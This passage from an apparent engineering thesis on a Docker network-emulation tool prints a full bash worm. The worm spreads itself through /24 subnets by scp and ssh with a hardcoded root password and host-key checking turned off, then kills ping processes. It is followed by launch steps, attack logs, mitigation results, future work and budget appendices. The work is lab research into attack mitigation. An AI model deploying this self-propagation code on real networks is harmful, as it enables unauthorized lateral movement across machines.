can be a harsh language we have littered the code with comments clarifying some of the
most convoluted lines and obscure assumptions that might not be at all clear by just
reading through the code.

1 # Invoke a bash shell to interpret the following script

2 #!/bin/bash

3

4 # Print the hostname of the machine we are currently running

5 # on so that we can follow the script ’s "infection path".

6 echo "Running @ $(hostname)"
7

8 # Global variables:

9 # rootpwd: Password used when SSHing to machines.

10 # debug: Causes the script to dump the number of times

11 # it is executed to a file. It MUST BE commented out

12 # to be disabled.

13 rootpwd="1234"

14 debug="on"

15

16 # Check the times the script is run on a node when debugging.

17 if [ ! -z $debug ]

18 then

19 # If the file ’/n_runs ’ exists

20 if [ -f /n_runs ]

21 then

22 # Read it and increment its value by 1.

23 # Arithmetic is evealuated when enclosed by

24 # an Arithmetic Expansion -> $(())
25 # The ’>’ redirection operator will either

26 # overwrite or create a file.

27 echo $(( $(cat /n_runs) + 1 )) > /n_runs

28 else

29 echo 1 > /n_runs

30 fi

31 fi
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32

33 # Define an array containing the IPs for each interface.

34 iface_ips =($(ip a | awk ’$1 ~ /inet/ && $2 !~ /127.0.0.1\/8/ ’ | awk ’{

print $2}’))
35

36 # Store the number of IPs (i.e. the length of the iface_ips array).

37 n_ips=${#iface_ips[@]}
38

39 # Store the PID associateds to the ping process within the

40 # container. We could have also used the ’killall ’

41 # utility that ’kills ’ processes by name. This

42 # increased the number of needed dependencies however ,

43 # and we decided to do it ourselves.

44 ping_pid=$(pgrep ping)

45

46 # If we found a ping process (i.e. ’ping_pid ’ variable is

47 # not empty).

48 if [ ! -z $ping_pid ]

49 then

50 # Terminate the ping process and note down the time it

51 # was taken down in the ’/p_deaths ’ file. Note the

52 # ’>>’ redirection operator appends data to a file

53 # or creates it if it doesn ’t exist.

54 kill $ping_pid
55 echo "$(date),$(date +%s)" >> /p_deaths

56 else

57 echo -e "\tNo ping found. Quitting ..."

58 exit

59 fi

60

61 # If we are currently running on a node (we only have a

62 # single network interface) and we are not the

63 # "entrypoint" for the attack we will exit. Some

64 # other machine will carry on with the attack.

65 # Deciding whether we are the entrypoint amounts

66 # to checking whether the /entrypoint file exists.

67 if [ $n_ips -eq 1 ] && [ ! -f entrypoint ]

68 then

69 echo -e "\tRegular node. Quitting ..."

70 exit

71 fi

72

73 # Inform the user what type of machine the attack is

74 # currently at.

75 if [ ! -f /entrypoint ]

76 then

77 echo -e "\tWe are a router!"

78 else

79 echo -e "\tWe are at the entrypoint!"
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80 fi

81

82 # Run the following on each interface through a for loop.

83 for (( i=0; i<${n_ips }; i++ ))

84 do

85 # Leverage awk to find the interface ’s associated

86 # subnetwork ’s network address and our own IP

87 # address witin it.

88 net_addr=$(echo "${iface_ips[i]}" | awk ’{split($0 ,foo ,"/"); split(

foo[1],fuu ,"."); print sprintf ("%s.%s.%s.", fuu[1], fuu[2], fuu [3])}’

)

89 our_ip=$(echo "${iface_ips[i]}" | awk ’{split($0 ,foo ,"/"); print foo

[1]}’)

90

91 # If we are debugging , print the discovered network

92 # and IP addresses.

93 if [ ! -z $debug ]

94 then

95 echo -e "\tNet_addr: $net_addr\tIP: $our_ip"
96 fi

97

98 # If this subnetwork has no been attacked yet (i.e. it is

99 # not contained in the ’/victims ’ file) proceed to

100 # attack it. The ’/victims ’ file is copied to each

101 # newly infected machine an contains a list of the

102 # subnetwork ’s that have been attack so that we do

103 # not attempt it again. This serves as a base case

104 # for recursivity so that the attack does not run

105 # indefinitely.

106 if [ -z $(grep $net_addr /victims 2> /dev/null) ]

107 then

108 # Append this subnet to the victims list right away

109 # as we are going to proceed to attack it.

110 echo $net_addr >> /victims

111

112 # As we know this is a ’/24’ subnetwork we know the

113 # valid addresses range from X.X.X.1 to

114 # X.X.X.254.

115 for j in {1..254}

116 do

117 # We can generate the current victim ’s IP address

118 # by appending the current ending ($j) to the

119 # network address ($net_addr).
120 if [ $net_addr$j != $our_ip ]

121 then

122 echo -e "\tCopying to -> $net_addr$j"
123

124 # Copy the script itself , the ’/victims ’ file

125 # and the ’sshpass ’ binary to the next



CHAPTER 5. PROOF OF CONCEPT 70

126 # victim with scp. We are using the ’-o

127 # StrictHostKeyChecking=no’ option with

128 # ’scp ’ because we want to avoid the "Do

129 # you trust this host ..." or ECDSA prompt

130 # as this script is NOT interactive.

131 /sshpass -p $rootpwd scp -o StrictHostKeyChecking=no /

victims /p_stopper.sh /sshpass root@$net_addr$j :/ > /dev/null 2>&1

132

133 # Run the script within that victim. This

134 # will cause the script to recur

135 # indifenitelyuntil there are no more

136 # subnetworks to attack. At that point ,

137 # the attack will begin dismantling

138 # ping processes in a backwards fashion

139 # of compared to the order in which the

140 # attack itself was copied between

141 # machines.

142 /sshpass -p $rootpwd ssh root@$net_addr$j "bash /

p_stopper.sh" < /dev/null 2> /dev/null

143

144 # Get an updated copy of the subnets which

145 # have been attacked to avoid attacking

146 # subnetworks twice.

147 /sshpass -p $rootpwd scp -o StrictHostKeyChecking=no

root@$net_addr$j :/ victims /victims > /dev/null 2>&1

148

149 # In order to check whether we have

150 # connectivity with the current

151 # IP we will ping it once (thanks

152 # to the ’-c’ option) whilst

153 # redirecting the output of both

154 # STDOUT and STDERR to /dev/null.

155 # We’ll then look at ping ’s return

156 # code (through the $? variable

157 # the shell mantains which is the

158 # last return code) to check

159 # whether the current IP is alive

160 # or not. As seen in ping ’s manpage

161 # (man ping) one can indeed use this

162 # return code for this purpose. In

163 # other words , if ping returns with

164 # a 0 code then the host is alive.

165 # If the code is either 1 or 2 the

166 # current IP is not associated with

167 # any host and we will move on to

168 # attack another subnet. This

169 # assumes all the nodes reside in

170 # the lower end of the subnetwork ’s

171 # address space. This attack would
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172 # work in the same way if this

173 # assumption were not feasible: we

174 # would just remove this last section

175 # chekcing whether the host is alive

176 # or not and just blindly continue

177 # until all the subnetwork ’s addresses

178 # were exhausted. However , given the

179 # size of /24 subnetworks this would

180 # be a time consuming process that

181 # we believe would add no value to

182 # the proof of concept.

183 ping -c 1 $net_addr$j > /dev/null 2>&1

184

185 # If the return code is not 0.

186 if [ $? -ne 0 ]

187 then

188 # Break from the current for loop and try

189 # to attack the next subnetwork.

190 echo -e "\tBreaking ..."

191 break 1

192 fi

193 # After all the subnetworks have been

194 # attacked and we return to this

195 # node print it on screen so that

196 # we can follow the attack ’s path.

197 echo -e "Back @ $(hostname)"
198 fi

199 done

200 fi

201 done

202

203 # Clean the victims state unless we are debugging and we want

204 # to take a look at it later on. Invoking ’rm’ with the

205 # ’-f’ flag prevents it from outputting an error message

206 # in case the specified files don ’t exist.

207 if [ -z $debug ]

208 then

209 rm -f /og_net /victims

210 fi

Listing 5.1: The Attack’s Script.

5.2 Running the Proof of Concept

As a prerequisite to run the proof of concept the user needs to bring up the network the
attack will be run on as explained on section 4.1.2. Once this has been accomplished the
following must be done in order:
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1. Execute the launch-pings command on the CLI that is offered after the network
has been instantiated. This will run docker -d exec <container-name> ping

127.0.0.1 against each node so that we can assure the pings(0) = MaximumNum-
ber of P ing Processes condition is met. Note the -d option launches the command
in the background (i.e. as a daemon).

2. Copy the attack script together with the sshpass binary to the node the start will
start from. This can be achieved by running docker cp p stopper.sh <initial-

container>:/ and docker cp sshpass <initial-container>:/. Note these files
must be executable. The user should run chmod +x <filename> on both of them
either before or after copying them to the container. In the latter case the same
effect can be achieved by running docker exec <initial-container> chmod +x

<filename>.

3. If the initially infected node is not a router, the script relies on am empty file named
entrypoint that must be present. It can be generated by means of the docker exec

<initial-container> touch /entrypoint.

4. The attack script must be run, either from a bash shell opened through docker

exec -it <initial-container> bash by executing ./p sto pper.sh or directly
through docker exec <initial-node> p stopper .sh.

5. The attack takes a non-negligible amount of time to finish. After it is done it will
return control of the shell the attack was started from back to the user.

5.3 Results

We applied the steps described in the previous section to the ICS Topology we presented
on figure 4.4. We initially launched the attack script on the network “as-is” so that we
would have a reference against which to compare the effectiveness of proposed mitigation
strategies. In all of the cases below, host c-1 was the attack’s entry point.

5.3.1 Running the Attack Against a Static Network

Figure 5.2 depicts the evolution of the QoS over time on the network as time progresses.
The initial point is (0, QoS(0)) = (0, 1) and it has been added so that the initial reference
for any subsequent attacks is equivalent. The times present on the abscissa axis are rel-
ative to this initial condition. This graph has been generated exclusively based on the
data points present on listing 5.2 which were recovered after the attack had concluded
through the dump-atk-data command. Given we are not taking any explicit action to
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try and halt the attack’s progression we can regard this as the worst case scenario.

The plot shown on figure 5.2 is rather distinctive. Due to how the attack operates, it
will suffer non-negligible delays when trying to ping an IP address that is not assigned.
In other words, the ping timeout is large when compared to how fast the attack propa-
gates on the lower end of the subnets. The reason is that the “virus” will continue taking
ping processes down as long as it finds victims within a subnet without any apparent
delay. We must not forget the entire virtual network is housed within the same host.
This fact implies network connections are extremely fast and thus they do not become a
“bottleneck” for the attack’s operation. These delays manifest themselves as regions with
minuscule slopes when compared with the steeper ones. Figure 5.2 contains 6 of them.

The smooth regions alternate with others characterised by a rather tumultuous slope.
These are generated by the attack quickly propagating throughout a subnet and it is
easy to spot 7 of them on figure 5.2. We can then see how the attack has an almost
“periodic” behaviour. It will “bomb” the lower address space within each subnet it en-
counters. When it runs out of victims, it will suffer a noticeable timeout to then resume
its operation on a new subnet.

Figure 5.3 contains a simplified network schematic representing the topology shown
on figure 4.4 and the attack’s propagation over the network. By combining the contents
of this image with those of figure 5.2 one can understand why and how the attack behaves
the way it does.

The tags found on figure 5.3 are explained in the following enumeration:

1. The attack begins propagating from the C1 node.

2. The attack propagates to the Corp - DMZ Router.

3. The attack makes its way to the DMZ - Main Router.

4. The attack reaches the Main Router.

5. The attack terminates the ping processes on the entire Client subnet.

6. The attack returns to the Main Router and then proceeds to infect the Remote
subnet.

7. The attack goes back to the Main Router and then assaults the Vendor subnet.

8. After going back to the Main Router, the attack infects the Operations subnet.
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9. The attack returns to the Main Router and then attacks the Control Subnet’s Out-
ward Access Region. It will take down the ping processes on hosts T1 → T4, inclusive.

10. From T4, the attack propagates through the Control Subnet’s Restricted Access
Region, taking nodes T5 → T0 with it.

11. The attack returns to the Main Router, and given no more nodes on the Router
subnet remain to be attacked, it goes back to the Corp - DMZ Router.

12. The attack now takes down the entire DMZ subnet.

13. And it finally kills the ping process on machines belonging to the Corp subnet. This
concludes the attack.

Given the information expressed through the figures can come across as “dense” we
have also decided to describe the attack’s overall beahviour in a textual manner. In both
scenarios the initially infected node will be C1. The attack will then propagate to the
router connecting the Corp and DMZ subnets to then “jump” to the topology’s main
router. From there it will begin attacking each subnet in an ascending order in terms of
their network address. That is, it will begin taking down processes on the Client subnet
and then make its way up to the Control Subnet’s Outward Access Region. Once node
T4 becomes infected, the attack will propagate to the Restricted Access Region of the
aforementioned subnet. Upon termination of the attack on this last subnet, it will follow
its initial path in the opposite direction by taking down nodes on the DMZ subnet and
finally targeting machines belonging to the Corp subnet. At these point all the ping pro-
cesses will have been taken down, thus concluding the attack. Please refer to figure 5.3
for a more detailed walkthrough of the attack’s evolution.

The tags found on figure 5.2 are explained in the following enumeration:

1. Initial state.

2. This decrease in QoS is due to the ping processes being killed in nodes C1, Rx, Ry,
Rz and the entire Client subnet (i.e. the En nodes).

3. Timeout suffered after infecting the entire Client subnet.

4. The attack proceeds to the Remote subnet (Rn nodes).

5. Timeout suffered after infecting the entire Remote subnet.

6. The attack continues and targets the Vendor subnet (Vn nodes).
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Figure 5.2: Evolution of the QoS Over Time for a Static Topology.

7. Timeout suffered after infecting the entire Vendor subnet.

8. The attack goes on and attacks the Operations subnet (Pn nodes).

9. Timeout suffered after infecting the entire Operations subnet.

10. The attack makes its way to the Control Subnet’s Outward Access Region. Once
it infects node T4, it will gain access to the Restricted Access Region as well. It
will then put ping processes on both T5 and T6 out of commission as if they only
belonged to the Restricted Access Region. Thus, the characteristic delay experienced
after taking an entire subnet down will now only be suffered after the ping processes
are actually killed.

11. This delay roughly equates to 3 of the ones suffered up to now. These correspond to
the Control Subnet’s Restricted Access Area, the Control Subnet’s Outward Access
Area and the Router subnet, respectively. In the last of the three there are actually
no more nodes to take down: both ping processes on the Ry and Rz routers were
terminated during the first QoS fall.

12. The attack proceeds to the DMZ subnet (Zn nodes).

13. Timeout suffered after infecting the entire DMZ subnet.
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14. The attack targets the Corp subnet (Cn nodes) and then finishes.

15. Note how the magnitude of the reduction in terms of the QoS is proportional to the
size of each of the affected subnets in terms of hosts.

1 Init_time: 2021 -06 -14 15:45:39.707455

2 c-1,Mon Jun 14 15:47:29 UTC 2021 ,1623685649 , kill

3 c-2,Mon Jun 14 15:49:21 UTC 2021 ,1623685761 , kill

4 c-3,Mon Jun 14 15:49:21 UTC 2021 ,1623685761 , kill

5 c-4,Mon Jun 14 15:49:22 UTC 2021 ,1623685762 , kill

6 z-1,Mon Jun 14 15:49:07 UTC 2021 ,1623685747 , kill

7 z-2,Mon Jun 14 15:49:07 UTC 2021 ,1623685747 , kill

8 z-3,Mon Jun 14 15:49:08 UTC 2021 ,1623685748 , kill

9 z-4,Mon Jun 14 15:49:08 UTC 2021 ,1623685748 , kill

10 e-1,Mon Jun 14 15:47:30 UTC 2021 ,1623685650 , kill

11 e-2,Mon Jun 14 15:47:31 UTC 2021 ,1623685651 , kill

12 e-3,Mon Jun 14 15:47:31 UTC 2021 ,1623685651 , kill

13 e-4,Mon Jun 14 15:47:31 UTC 2021 ,1623685651 , kill

14 r-1,Mon Jun 14 15:47:44 UTC 2021 ,1623685664 , kill

15 r-2,Mon Jun 14 15:47:44 UTC 2021 ,1623685664 , kill

16 r-3,Mon Jun 14 15:47:45 UTC 2021 ,1623685665 , kill

17 r-4,Mon Jun 14 15:47:45 UTC 2021 ,1623685665 , kill

18 r-5,Mon Jun 14 15:47:45 UTC 2021 ,1623685665 , kill

19 v-1,Mon Jun 14 15:47:58 UTC 2021 ,1623685678 , kill

20 v-2,Mon Jun 14 15:47:59 UTC 2021 ,1623685679 , kill

21 v-3,Mon Jun 14 15:47:59 UTC 2021 ,1623685679 , kill

22 p-1,Mon Jun 14 15:48:12 UTC 2021 ,1623685692 , kill

23 p-2,Mon Jun 14 15:48:12 UTC 2021 ,1623685692 , kill

24 p-3,Mon Jun 14 15:48:12 UTC 2021 ,1623685692 , kill

25 t-1,Mon Jun 14 15:48:25 UTC 2021 ,1623685705 , kill

26 t-2,Mon Jun 14 15:48:25 UTC 2021 ,1623685705 , kill

27 t-3,Mon Jun 14 15:48:26 UTC 2021 ,1623685706 , kill

28 t-4,Mon Jun 14 15:48:26 UTC 2021 ,1623685706 , kill

29 t-5,Mon Jun 14 15:48:26 UTC 2021 ,1623685706 , kill

30 t-6,Mon Jun 14 15:48:27 UTC 2021 ,1623685707 , kill

31 t-7,Mon Jun 14 15:48:27 UTC 2021 ,1623685707 , kill

32 t-8,Mon Jun 14 15:48:28 UTC 2021 ,1623685708 , kill

33 t-9,Mon Jun 14 15:48:28 UTC 2021 ,1623685708 , kill

34 t-0,Mon Jun 14 15:48:28 UTC 2021 ,1623685708 , kill

35 r-x,Mon Jun 14 15:47:29 UTC 2021 ,1623685649 , kill

36 r-y,Mon Jun 14 15:47:30 UTC 2021 ,1623685650 , kill

37 r-z,Mon Jun 14 15:47:30 UTC 2021 ,1623685650 , kill

Listing 5.2: Retrieved Data Points for the Attack on a Static Network.
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Figure 5.3: Attack Progression Over the Network.
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5.3.2 Trying to Mitigate the Attack

Given the contents of figure 5.3 we are certain that the last hosts that are to be attacked
are C2 → C4. We can then try to move several other hosts to the Corp subnet (figure 4.4)
so that they suffer the attack’s consequences at a later time than they normally would.
Given the “virus” will still be subject to a delay after sweeping each subnet, this strategy
should provide a bit of leeway for the hosts we are to move.

In order to run this experiment we defined the mitigate-atk command on top of those
already discussed on section 4.1.2. It will basically call the mvnode command repeatedly
and move the following hosts to the Corp Subnet : E1 → E4; R1 → R5; V1 → V3; P1 → P3.
We decided to add this auxiliary order due to the speed with which the attack propagates.
If we were to manually move the 15 nodes we would be tarnishing the data, making it
harder to interpret in a satisfactory manner. Then, after launching the attack exactly as
described in the previous section we issue the mitigate-atk command, thus triggering
the movement of the nodes we have just specified. As soon as said order is invoked we
need not do anything more: we will gather the data through the dumpt-atk-data once
it has terminated. The data we gathered and then used to draw the plots is included on
listing 5.3

Given the “manual” aspect of having to explicitly issue a command the data presented
in this section might not be exactly reproducible. Nonetheless, as long as the user is-
sues the mitigate-atk command in a reasonable time the data should be tremendously
similar.

Even though we are moving hosts while the attack is underway, the steps described
in figure 5.3 are totally applicable: if we regard the network as a collection of subnets its
topology is not altered at all by the mitigate-atk command. This explains why the
attack’s behaviour is the same despite the times at which the events take place not being
exactly alike.

Figure 5.4 portrays the evolution of the QoS when we try to hinder the attack’s
progress. Figure 5.5 superimposes the evolution of the QoS in both cases. Studying it
reveals how in the latter case the QoS is higher during the entirety of the attack. Thus,
we can rest assured our mitigation mechanism is provoking its intended effect. The tags
in said figure are described in the following enumeration:

1. Initial state.

2. The attack’s progression is somewhat obfuscated due to the mitigation procedure.
The movement of nodes causes ping processes to be killed and spawned, which has



CHAPTER 5. PROOF OF CONCEPT 79

transient effect on the QoS level.

3. After the attack is launched, we manually move every node within the Client, Re-
mote, Vendor and Operations subnets and attach them to the Corp subnet. In other
words, we are moving all the En, Rn, Vn, and Pn nodes and turning them into Cn

nodes. The movement implies that the ping processes will be taken down and then
spawned, which is what causes the “jittery” behaviour seen here.

4. The attack experiments a delay that is roughly 4 times the one that a single subnet
causes. These are provided by the Client, Remote, Vendor and Operations subnets,
respectively.

5. This decrease in the QoS is due to the dismantling of the Tn nodes’ ping processes.

6. The attack suffers a total delay that is the product of those provided by the Control
Subnet’s Restricted Access Region, the Control Subnet’s Outward Access Region and
the Router subnet. Thus, it is roughly 3 times larger than the delay caused by a
single subnet.

7. The DMZ subnet (Zn nodes) is attacked.

8. The attack experiences a delay after infecting the entire DMZ subnet.

9. The attack proceeds to the Corp subnet. It houses all the Cn nodes and all the
nodes we displaced to mitigate the attack, which amounts to a grand total of 19
hosts. The ping processes will be nonetheless terminated on only 18, due to the fact
that node C1 was the attack’s entry point. Once the Corp subnet is attacked, the
network’s QoS drops to 0 %: the attack is finished.

1 Init_time: 2021 -06 -14 16:10:09.066786

2 c-1,Mon Jun 14 16:11:58 UTC 2021 ,1623687118 , kill

3 c-2,Mon Jun 14 16:13:44 UTC 2021 ,1623687224 , kill

4 c-3,Mon Jun 14 16:13:45 UTC 2021 ,1623687225 , kill

5 c-4,Mon Jun 14 16:13:45 UTC 2021 ,1623687225 , kill

6 z-1,Mon Jun 14 16:13:30 UTC 2021 ,1623687210 , kill

7 z-2,Mon Jun 14 16:13:31 UTC 2021 ,1623687211 , kill

8 z-3,Mon Jun 14 16:13:31 UTC 2021 ,1623687211 , kill

9 z-4,Mon Jun 14 16:13:31 UTC 2021 ,1623687211 , kill

10 e-1,Mon Jun 14 16:11:58 UTC 2021 ,1623687118 , kill

11 e-1,Mon Jun 14 16:13:45 UTC 2021 ,1623687225 , kill

12 e-1,Mon Jun 14 16:11:59 UTC 2021 ,1623687119 , spawn

13 e-2,Mon Jun 14 16:11:59 UTC 2021 ,1623687119 , kill

14 e-2,Mon Jun 14 16:13:46 UTC 2021 ,1623687226 , kill

15 e-2,Mon Jun 14 16:11:59 UTC 2021 ,1623687119 , spawn

16 e-3,Mon Jun 14 16:11:59 UTC 2021 ,1623687119 , kill

17 e-3,Mon Jun 14 16:13:46 UTC 2021 ,1623687226 , kill
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Figure 5.4: Evolution of the QoS Over Time for a Dynamic Topology.

Figure 5.5: Comparison of the Evolution of the QoS. Blue - Base Case. Orange - Mitigated
Attack.
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18 e-3,Mon Jun 14 16:12:00 UTC 2021 ,1623687120 , spawn

19 e-4,Mon Jun 14 16:12:00 UTC 2021 ,1623687120 , kill

20 e-4,Mon Jun 14 16:13:46 UTC 2021 ,1623687226 , kill

21 e-4,Mon Jun 14 16:12:00 UTC 2021 ,1623687120 , spawn

22 r-1,Mon Jun 14 16:12:00 UTC 2021 ,1623687120 , kill

23 r-1,Mon Jun 14 16:13:47 UTC 2021 ,1623687227 , kill

24 r-1,Mon Jun 14 16:12:00 UTC 2021 ,1623687120 , spawn

25 r-2,Mon Jun 14 16:12:00 UTC 2021 ,1623687120 , kill

26 r-2,Mon Jun 14 16:13:47 UTC 2021 ,1623687227 , kill

27 r-2,Mon Jun 14 16:12:01 UTC 2021 ,1623687121 , spawn

28 r-3,Mon Jun 14 16:12:01 UTC 2021 ,1623687121 , kill

29 r-3,Mon Jun 14 16:13:48 UTC 2021 ,1623687228 , kill

30 r-3,Mon Jun 14 16:12:01 UTC 2021 ,1623687121 , spawn

31 r-4,Mon Jun 14 16:12:01 UTC 2021 ,1623687121 , kill

32 r-4,Mon Jun 14 16:13:48 UTC 2021 ,1623687228 , kill

33 r-4,Mon Jun 14 16:12:01 UTC 2021 ,1623687121 , spawn

34 r-5,Mon Jun 14 16:12:01 UTC 2021 ,1623687121 , kill

35 r-5,Mon Jun 14 16:13:48 UTC 2021 ,1623687228 , kill

36 r-5,Mon Jun 14 16:12:02 UTC 2021 ,1623687122 , spawn

37 v-1,Mon Jun 14 16:12:02 UTC 2021 ,1623687122 , kill

38 v-1,Mon Jun 14 16:13:49 UTC 2021 ,1623687229 , kill

39 v-1,Mon Jun 14 16:12:02 UTC 2021 ,1623687122 , spawn

40 v-2,Mon Jun 14 16:12:02 UTC 2021 ,1623687122 , kill

41 v-2,Mon Jun 14 16:13:49 UTC 2021 ,1623687229 , kill

42 v-2,Mon Jun 14 16:12:02 UTC 2021 ,1623687122 , spawn

43 v-3,Mon Jun 14 16:12:02 UTC 2021 ,1623687122 , kill

44 v-3,Mon Jun 14 16:13:49 UTC 2021 ,1623687229 , kill

45 v-3,Mon Jun 14 16:12:03 UTC 2021 ,1623687123 , spawn

46 p-1,Mon Jun 14 16:12:03 UTC 2021 ,1623687123 , kill

47 p-1,Mon Jun 14 16:13:50 UTC 2021 ,1623687230 , kill

48 p-1,Mon Jun 14 16:12:03 UTC 2021 ,1623687123 , spawn

49 p-2,Mon Jun 14 16:12:03 UTC 2021 ,1623687123 , kill

50 p-2,Mon Jun 14 16:13:50 UTC 2021 ,1623687230 , kill

51 p-2,Mon Jun 14 16:12:03 UTC 2021 ,1623687123 , spawn

52 p-3,Mon Jun 14 16:12:04 UTC 2021 ,1623687124 , kill

53 p-3,Mon Jun 14 16:13:51 UTC 2021 ,1623687231 , kill

54 p-3,Mon Jun 14 16:12:04 UTC 2021 ,1623687124 , spawn

55 t-1,Mon Jun 14 16:12:49 UTC 2021 ,1623687169 , kill

56 t-2,Mon Jun 14 16:12:49 UTC 2021 ,1623687169 , kill

57 t-3,Mon Jun 14 16:12:49 UTC 2021 ,1623687169 , kill

58 t-4,Mon Jun 14 16:12:50 UTC 2021 ,1623687170 , kill

59 t-5,Mon Jun 14 16:12:50 UTC 2021 ,1623687170 , kill

60 t-6,Mon Jun 14 16:12:50 UTC 2021 ,1623687170 , kill

61 t-7,Mon Jun 14 16:12:51 UTC 2021 ,1623687171 , kill

62 t-8,Mon Jun 14 16:12:51 UTC 2021 ,1623687171 , kill

63 t-9,Mon Jun 14 16:12:52 UTC 2021 ,1623687172 , kill

64 t-0,Mon Jun 14 16:12:52 UTC 2021 ,1623687172 , kill

65 r-x,Mon Jun 14 16:11:58 UTC 2021 ,1623687118 , kill

66 r-y,Mon Jun 14 16:11:59 UTC 2021 ,1623687119 , kill
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67 r-z,Mon Jun 14 16:11:59 UTC 2021 ,1623687119 , kill

Listing 5.3: Retrieved Data Points for the Attack on a Dynamic Network.

The figures we have presented in this section display the evolution of an extremely
quick attack. What is more, we have only explored a single quick response to an at-
tack which we have found to be clearly more effective than not taking any action at all.
Nonetheless, the real value of this tool is serving as a testing ground for more complex
and efficient techniques that are being developed as part of associated research projects.
We have decided to prepare this short demonstration in an effort to showcase our tool’s
potential and we have not even scratched the surface.



Chapter 6

Closing Thoughts and Future Work

I am not a visionary. I’m an engineer.
I’m happy with the people who are
wandering around looking at the stars
but I am looking at the ground and I
want to fix the pothole before I fall in.

Linus Torvalds

This project has posed a huge challenge. Given I have had to implement it entirely
from the ground up I have had to grapple with several different technologies. In the case
of docker I have had to push its conception a little bit further in an effort to achieve my
purpose. This need implied I had to circumvent several existing limitations derived from
the tool itself not being designed for the use I was making of it.

Aside from docker, I have also had to get acquainted with the entire iproute2 suite.
Up to now I had only used it to carry out small fixes on my own machines when the
networking configuration broke down in some place or another. The situation now called
for a deeper understanding of the entire tool collection as well as its interaction with other
programs such as iptables. All the necessary information is intimately related with the
kernel itself, which makes it somewhat harsh and arid. Even though these characteristics
do not work towards the documentation’s readability I have personally found it to be
hugely precise and helpful.

Once I felt comfortable with all the technologies I was to leverage, I began developing
the tool itself to automate the deployment of virtual networks. This was the first project
I tackled using python, and I am aware of the fact that anybody else could have made a
much better job, but I managed to produce a working version. Even though the entire
development process can be summarized in a single sentence, it was part of the project
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that took the longest to complete.

One might argue that this project has not pushed the associated group’s research in
a particular direction, and it is true. My work is aimed at generating a tool that can be
used as an auxiliary resource for the group’s ongoing work. It is meant to be used as a
validation mechanism to aide in as many articles and experiments as it possibly can. I
personally believe that, as engineers, we should not forget to turn our work into tangible
products, at least as tangible as software can be. I hope this work contributed to that ideal.

In any case, I am tremendously thankful for having been given the opportunity to
devote my time and effort to this project. As in any other case I have had my ups and
downs, but if there is one thing I can be sure about is that I have learnt and become a
better engineer at every turn of the road.

6.1 Future Work

6.1.1 Possible Improvements

The proof of concept I presented on chapter 5 is only concerned with two different scenar-
ios. In one of them the network remains static whilst in the other I am actively altering
the topology in an effort to mitigate the attack. Even though both experiments show
clear differences I can still devise many other techniques to try and monitor the network’s
response to a threat. What is more, I could even apply some of the techniques discussed
in [38] to discern how well they respond to the attack. Even though I only presented a
couple of situations, I believe they strongly exhibit how the project can withstand much
more demanding tests.

Trying to use this project for new techniques might call for some enhancements to the
CLI whose commands I discussed on section 4.1.2. Given how the tool has been designed,
this component is fully independent from the rest, which implies future patches and or
features should be easy to integrate. One of the main reasons behind this modularized
design is facilitating future work on the tool.

6.1.2 Use as a Teaching Resource

I have a strong teaching tendency. Despite hurtful quotes like the one stating that “he
who is not good enough, teaches” I sincerely believe teaching to be a necessary aspect of
the academic life. What is more, I consider teaching to be an extremely potent engine
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Our Tool VMs
Network Control Easy and Total Hard and Total

Impact on the Host’s Resources Low High
Ease of Deployment High Low

Preexisting Configurations for Nodes A lot Not that many

Table 6.1: Comparison of Both Approaches as Teaching Platforms

for social change and, in these times of unrest, that fact becomes more apparent than
ever. This feeling is what prompted the idea of repurposing this tool into a framework
that could be leveraged as a resource in practical lessons involving the manipulation of
network-aware machines and topologies.

I had a course in which I had to work with several virtual machines within a given
network to then configure routing protocols such as OSPF [39] and analyze traffic on the
different machines through tools such as WireShark [25]. My tool could play the same
role VMs had in that scenario, and given the existence of tools such as tcpdump [40],
the same kind of information could be easily extracted. On top of my tool being a more
lightweight approach to generating arbitrary topologies it also offers just that: arbitrarily
complex networks. From my experience working with virtual machines I can confirm that
configuring the underlying network is close to impossible. What is more, they usually
require an installation process and when transferring them around they manifest as large
files in terms of storage. Table 6.1 summarizes this paragraph neatly.

If this option were to be pursued, the already existing code could easily be turned
into a python package [34] and be distributed through package indices such as PyPI [41],
making the deployment of the tool trivially easy on end systems.



Appendix A

Project Budget and Schedule

A.1 Project Schedule

The Gantt Diagram found on figure A.1 summarizes the different periods the develop-
ment process has traversed. We would like to point out that each week is assumed to last
20 hours, which brings the project’s total duration up to 320 hours.

A.2 Budget

Like in any other profession, a developer needs a set of tools and a given amount of time
to carry out his or her work in an effective manner. These incur into expenses we are
detailing in this section.

A.2.1 Software Costs

We have strived to use only cost-free software in our development. That is why we have
incurred in no software related costs.

A.2.2 Hardware Costs

Given we are working with virtual infrastructure we only need to account for the cost of
our workstation when it comes to budgeting. We have developed the project with the
help of a MacBook Pro computer sporting a 4 Core Intel i5 CPU at 1,4 GHz and a 16
GB RAM. Given we have found the machine’s trackpad incredibly comfortable we have
not had to acquire any external accessories such as a mouse or external keyboard. The
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Weeks

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16

Information Gathering

Technology Assessment

Planning

Development Environment Setup

Development

Report Preparation

Figure A.1: Project’s Development Phases Over Time

Concept Units Unit Cost Total Cost (VAT Included)
Software 0 0 e 0 e
Hardware 1 1200 e 1200 e

Fixed Expenses per Week 16 85 e 1360 e
Salary per hour 320 18 e 5760 e

Total: 8320 e

Table A.1: Project’s Budget

computer’s cost was 1200 e.

A.2.3 Labour Costs

We have developed the entire project ourselves. Given the common salary of a graduated
engineer (18 e

h
) and the number of ours employed on the project, as provided on figure

A.1, the total cost amounts to 5760 e.

When accounting for indirect expenses such as the cost of electricity and internet ac-
cess, and factoring in all of the above, we can easily obtain the project’s budget as detailed
on table A.1.



Appendix B

System Setup

One of the main aspects we sought when designing the project was making the instal-
lation procedure as simple as possible. The following sections describe how to install
and configure all the necessary tools. We will assume the target system is running a
Debian-based distribution. If that is not the case, we encourage the reader to query his
or her distribution’s documentation to find out what package manager to use instead of
apt. Common examples are dnf and pacman for Fedora and Arch-based distributions,
respectively. Some package names might slightly differ as well: beware.

B.1 Installing External Dependencies

We will describe how one can check whether the necessary tools are present or not. After
that, we include listing B.1, which contains the necessary commands to install each of the
components in case they are not already present. Note several of the commands contain
a leading sudo to signify they will require elevated privileges. This might however not be
needed in case it is root him or herself who is running these commands.

B.1.1 iproute2

This project requires a machine running the linux kernel. Most modern linux distribu-
tions will ship with the iproute2 suite preinstalled, but if that is not the case it needs to
be installed. In order to determine whether iproute2 is available one can run which ip.
If the command’s output is not empty, the necessary tools are present.
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B.1.2 Docker

Once can run docker --version to determine whether it is present on the system or not.
We are including the necessary commands to acquire it on listing B.1, but we encourage
the reader to visit [42] as it contains a more comprehensive explanation on the process.

B.1.3 PIP

